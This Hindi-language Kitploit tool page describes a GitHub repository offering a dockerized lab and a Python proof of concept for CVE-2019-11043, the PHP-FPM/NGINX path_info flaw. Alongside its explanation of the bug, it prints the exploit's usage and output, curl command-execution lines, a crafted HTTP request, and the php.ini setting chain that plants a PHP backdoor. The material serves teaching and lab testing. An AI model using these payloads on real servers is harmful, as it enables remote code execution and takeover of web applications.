Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2019-11043 — यह रिपॉजिटरी एक डॉकरीकृत बुनियादी ढांचा और CVE-2019-11043 शोषण का एक पायथन कार्यान्वयन प्रदान करती है। | Kitploit
उपकरण/GitHubGitHub/kriskhub/cve-2019-11043
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षारिमोट एक्सेस टूल
GitHubkriskhub/cve-2019-11043

CVE-2019-11043

यह रिपॉजिटरी एक डॉकरीकृत बुनियादी ढांचा और CVE-2019-11043 शोषण का एक पायथन कार्यान्वयन प्रदान करती है।

रिपॉजिटरी देखें
1426 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

PoC CVE-2019-11043

CVE-2019-11043 शोषण का एक पायथन कार्यान्वयन

CVE-2019-11043 के रूप में दर्ज शोषण, PHP-FPM के कार्यान्वयन में एक बग का लाभ उठाता है जो NGINX सर्वर के संयोजन में होता है। कुछ विन्यासों में, FastCGI path_info में एक नियमित अभिव्यक्ति FPM मॉड्यूल को आवंटित बफ़र्स से परे FastCGI प्रोटोकॉल डेटा के लिए आरक्षित स्थान में लिखने का कारण बनता है। इसके परिणामस्वरूप, एक वेब उपयोगकर्ता दूरस्थ रूप से कोड निष्पादित करने में सक्षम हो सकता है। निम्न तालिका सामान्य कमजोरी स्कोरिंग सिस्टम (CVSS) के अनुसार शोषण की गंभीरता का मूल्यांकन दर्शाती है।

मीट्रिकमान
प्रभाव स्कोर5.9
आधार स्कोर9.8
गंभीरतागंभीर
अभिगम वेक्टरनेटवर्क
गोपनीयताउच्च
अखंडताउच्च
उपलब्धताउच्च

सेटअप

डॉकर इमेजेस:

  • nginx@latest
  • [email protected]

पायथन:

  • शोषण स्क्रिप्ट

आरंभ करना

प्रोजेक्ट चलाने के लिए Docker और docker-compose की स्थापना आवश्यक है।

प्रोजेक्ट की रूट डायरेक्टरी से निम्नलिखित कमांड चलाकर सभी आवश्यक डॉकर इमेजेस डाउनलोड हो जानी चाहिए और कंटेनर सही क्रम में शुरू हो जाने चाहिए:

root@kitploit:~
docker-compose up

सेटअप को डेमॉनाइज़्ड चलाने के लिए, निम्नलिखित कमांड निष्पादित करें:

root@kitploit:~
docker-compose up -d

डेमॉनाइज़्ड शुरुआत को रोकने के लिए, निम्नलिखित कमांड निष्पादित करें:

root@kitploit:~
docker-compose down

उदाहरण

root@kitploit:~
# docker-compose up -d
Creating php   ... done
Creating nginx ... done

शोषण का उपयोग कैसे करें

root@kitploit:~
# python3 exploit.py --target http://localhost:11043/index.php
🚀🚀🚀 Starting...
? Requesting target to find qsl candidates.
        [Response] Status sode is 502 for QSL 1761. Meets criteria and added as candidate
        [Response] Status sode is 502 for QSL 1762. Meets criteria and added as candidate
        [Response] Status sode is 502 for QSL 1763. Meets criteria and added as candidate
        [Response] Status sode is 502 for QSL 1764. Meets criteria and added as candidate
        [Response] Status sode is 502 for QSL 1765. Meets criteria and added as candidate
        Post processed QSL candidate(s): 1751, 1752, 1753, 1754, 1755, 1756, 1757, 1758, 1759, 1760, 1761, 1762, 1763, 1764, 1765
⚙️ Testing found candidates
        [Test] QSL Candidate:  1751
        [Test] QSL Candidate:  1752
        [Test] QSL Candidate:  1753
        [Test] QSL Candidate:  1754
        [Test] QSL Candidate:  1755
💣 Target seems vulnerable with attack parameters: (QSL:1755/HVL:8): PHPSESSID=b83281b19399d7725091ad4b2b20e530; path=/
✅ Success: Remote Code Execution exploit successfully deployed!

You should be able to run commands using:
    🌍 curl http://localhost:11043/index.php?a=bin/ls+/
    or
    🌍 curl http://localhost:11043/index.php?a=%0asleep+5%0a+/

विश्लेषण

बग

यह कमजोरी Real World CTF 2019 क्वालिफिकेशन राउंड के दौरान पाई गई, जब एक सुरक्षा शोधकर्ता, एंड्रयू डानाउ ने पाया कि एक नई लाइन नियंत्रण वर्ण %0A भेजने से सर्वर के कोड में एक अपवाद आता है। Image of Bug fix fastcgi_split_path_info निर्देश में नियमित अभिव्यक्ति को नई लाइन वर्ण (एन्कोडेड रूप में, %0A) का उपयोग करके तोड़ा जा सकता है। टूटी हुई नियमित अभिव्यक्ति तब एक खाली PATH_INFO की ओर ले जाती है, जो बग को ट्रिगर करती है। चूंकि env_path_info वेरिएबल path_info का पता है, path_info 0 है, इसलिए pilen भी 0 है। slen अनुरोधित URL की लंबाई है।

Image of Bug fix

path_info को कैसे नियंत्रित करें

URL पथ और क्वेरी स्ट्रिंग की सावधानीपूर्वक चुनी गई लंबाई का उपयोग करके, एक हमलावर path_info को _fcgi_data_seg संरचना के पहले बाइट पर सटीक रूप से इंगित कर सकता है। इसमें शून्य डालने से char* pos फ़ील्ड पीछे चली जाती है, और बाद में FCGI_PUTENV स्क्रिप्ट पथ के साथ कुछ डेटा (अन्य फास्ट सीजीआई चर सहित) को ओवरराइट करता है। इस तकनीक का उपयोग करके, कमजोरी एक नकली PHP_VALUE FCGI वेरिएबल बनाने की अनुमति देती है और फिर कोड निष्पादन प्राप्त करने के लिए सावधानीपूर्वक चुने गए कॉन्फ़िग मानों की एक श्रृंखला का उपयोग करती है।

Image of fcgi data seg

root@kitploit:~
int ptlen = strlen(pt);
int slen = len - ptlen;
int len = script_path_translated_len;
  • len URL पथ की लंबाई है
    • जब URL http://localhost:11043/index.php/TUD%0aNetSec.php है
    • nginx कॉन्फ़िग से script_path_translated, /var/www/html/index.php/TUD\nNetSec.php है
  • ptlen URL पथ में पहले स्लैश से पहले की सामग्री की लंबाई है
    • जब URL http://localhost:11043/index.php/TUD%0aNetSec.php है
    • pt /var/www/html/index.php है

दो वेरिएबल "len" और "ptlen" के बीच का अंतर URL में निर्दिष्ट पथ की लंबाई है। चूंकि इन दोनों के पथ को नियंत्रित किया जा सकता है, वेरिएबल path_info को भी नियंत्रित किया जा सकता है।

Image of Bug fix चूंकि पथ नियंत्रणीय है, हम किसी भी पते के मान को शून्य पर सेट कर सकते हैं (पंक्ति 1222)। लक्षित पते के मान को शून्य पर सेट करके, हम _fcgi_data_seg संरचना के char* pos को शून्य पर नियंत्रित कर सकते हैं। इस दृष्टिकोण से हम एक बफर अंडरफ्लो का शोषण करते हैं और ग्लोबल वेरिएबल को सही मेमोरी स्पेस में लिखने में सक्षम होते हैं।

हैश और लंबाई की तुलना कुंजियों से पहले की जाती है। उपयुक्त हेडर और कुंजियों को सावधानीपूर्वक चुनकर, हम हेडर का उपयोग करके जोड़ सकते हैं। neex के निष्कर्षों के अनुसार, स्ट्रिंग "ebut", जो HTTP_EBUT बन जाती है, की लंबाई और FCGI_HASH मान PHP_VALUE के समान है। इस प्रकार सर्वर को एक GET अनुरोध भेजने पर
GET /index.php/PHP_VALUE%0Asession_start=1;;; EBUT: tudda nwsec
हेडर HTTP_EBUT PHP_VALUE बन जाता है और मान session_start=1 हो जाता है।

सर्वर की कमजोरी का निर्धारण करें

आवश्यक शर्तें

निम्नलिखित सूची शोषणकर्ता को आवश्यक शर्तें देती है जिन्हें हमले को तैनात करने के लिए पूरा किया जाना चाहिए।

  • NGINX कॉन्फ़िगरेशन में लोकेशन सेटिंग्स को PHP-FPM को अग्रेषित किया जाना चाहिए
  • path_info वेरिएबल को fastcgi_path_info के अनुसार सेट किया जाना चाहिए
  • कॉन्फ़िगरेशन में request_uri के बाद path_info सेट किया गया है
  • नियमित अभिव्यक्ति को ˆ से शुरू और $ पर समाप्त होना चाहिए ताकि नई लाइन वर्ण के साथ URI को पार्स करते समय env_path_info एक खाली मान बन जाए
  • कॉन्फ़िगरेशन फ़ाइल में try_files $uri = 404 जैसी कोई फ़ाइल मौजूदगी जाँच नहीं होनी चाहिए, क्योंकि यह FastCGI को अनुरोध अग्रेषित करने से रोकता है और कभी PHP-FPM तक नहीं पहुंचेगा।
  • यह शोषण केवल PHP 7+ के लिए काम करता है, अधिक सटीक रूप से, संस्करण 7.1.x 7.1.33 से नीचे, 7.2.x 7.2.24 से नीचे और 7.3.x 7.3.11 से नीचे।

शोषण

पहले चरण में हमें एक क्वेरी स्ट्रिंग लंबाई खोजनी होगी जिस पर एक नई लाइन नियंत्रण वर्ण %0A सर्वर के कोड में एक अपवाद का कारण बनता है और ऐसा कि सर्वर > 500 HTTP त्रुटि कोड के साथ प्रतिक्रिया करता है। इस जानकारी के आधार पर, हम अब PHP_VALUE लिखने और उसकी सामग्री को नियंत्रित करने का प्रयास कर सकते हैं। सबसे पहले, हम एक सत्र स्थापित करने का प्रयास करते हैं। यदि यह सफल होता है, तो हम सर्वर की कमजोरी से अवगत हो जाते हैं। इस बिंदु पर, हम जानते हैं कि हम PHP में किसी भी ग्लोबल वेरिएबल को नियंत्रित करने में सक्षम हैं। सर्वर के साथ पूर्वोक्त स्थापित सत्र का उपयोग करके, हम ओवरराइट करते हैं और दूरस्थ कोड निष्पादन की अनुमति देने के लिए सर्वर की सेटिंग्स में अपनी आवश्यक शर्तें स्थापित करते हैं। शोषण के लेखक विशेष पीएचपी सेटिंग्स की एक सरणी स्थापित करते हैं। वह ऑटो इन्क्लूडिंग सक्षम करता है, पथ को /tmp पर सेट करता है, लॉग फ़ाइल पता /tmp/a पर सेट करता है और पेलोड को लॉग फ़ाइल में भी लिखता है। अंत में, पीएचपी फ़ाइल स्वचालित रूप से एक बैकडोर बनाने के लिए एक लॉग फ़ाइल शामिल करेगी।

root@kitploit:~
< GET /index.php/PHP_VALUE%0Asession.auto_start=1?TUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUD HTTP/1.1
< Host: localhost:11043
< User-Agent: CVE-2019-11043
< Accept-Encoding: gzip, deflate
< Accept: */*
< Connection: keep-alive
< TUD: AAAAAAAAAAAAAAAAA
< Ebut: tudda nwsec
< 

> HTTP/1.1 200 OK
> Server: nginx/1.17.10
> Date: Tue, 19 May 2020 07:38:58 GMT
> Content-Type: text/html; charset=UTF-8
> Transfer-Encoding: chunked
> Connection: keep-alive
> 
<html>
 <head>
  <title>Exploit PHP-FPM as proposed in CVE-2019-11043</title>
 </head>
 <body>
     <p>Challenge PHP with nginx + php-fpm configurations.</p> </body>
</html>

दूरस्थ कोड निष्पादन को संभव बनाने वाली php.ini विकल्प श्रृंखला:

root@kitploit:~
php_settings = [
	"short_open_tag=1;;;;;;;", # Open short php tab
	"html_errors=0;;;;;;;;;;", # Turn off HTML tag in the error message
	"include_path=/tmp;;;;;;", # Include Path
	"auto_prepend_file=a;;;;", # Specifies the files that are automatically included before the script executes, similar to require().
	"log_errors=1;;;;;;;;;;;", # Enable error logging
	"error_reporting=2;;;;;;", # Specify error level
	"error_log=/tmp/a;;;;;;;", # Error logging file
	"extension_dir=%22%3C%3F=%60%22;;;", # Specify the load directory for the extension
	"extension=%22$_GET%5Ba%5D%60%3F%3E%22", # Specify the extension to load
]

नोट: अर्धविराम का उपयोग मेमोरी स्पेस भरने के लिए किया जाता है, जैसे कि PHP_VALUE\nauto_prepend_file=a;;;; 34 बाइट्स बन जाता है जो PATH_INFO की निश्चित लंबाई है। इस प्रकार हम सुनिश्चित करते हैं कि सभी सेटिंग्स मेमोरी स्पेस में सही ढंग से लिखी गई हैं।

प्रभाव

PHP कई लोकप्रिय वेबसाइटों और वेब अनुप्रयोगों के लिए ढांचा प्रदान करता है। चूंकि PHP 7 के साथ NGINX-आधारित वेब सर्वर का उपयोग सर्वव्यापी है, इस कमजोरी को गंभीर के रूप में वर्गीकृत किया गया है। इसके अलावा, इसे लागू करना अपेक्षाकृत आसान है और एक बार दुरुपयोग होने पर स्थायित्व प्राप्त करता है। चूंकि CVE-2019-11043 का सफल शोषण RCE का कारण बन सकता है, यह हैकर्स और खतरे के कलाकारों को वेब एप्लिकेशन पर कब्जा करने की अनुमति दे सकता है।

शोषण को गंभीरता से लिया जाना चाहिए, इस तथ्य के बावजूद कि यह कमजोरी विशिष्ट NGINX कॉन्फ़िगरेशन तक सीमित है; डिफ़ॉल्ट Nginx में यह समस्या नहीं है।

संसाधन

https://paper.seebug.org/1064/
https://blog.orange.tw/2019/10/an-analysis-and-thought-about-recently.html
https://medium.com/@knownsec404team/php-fpm-remote-code-execution-vulnerability-cve-2019-11043-analysis-35fd605dd2dc

https://github.com/neex/phuip-fpizdam
https://github.com/theMiddleBlue/CVE-2019-11043

टूल डाउनलोड करें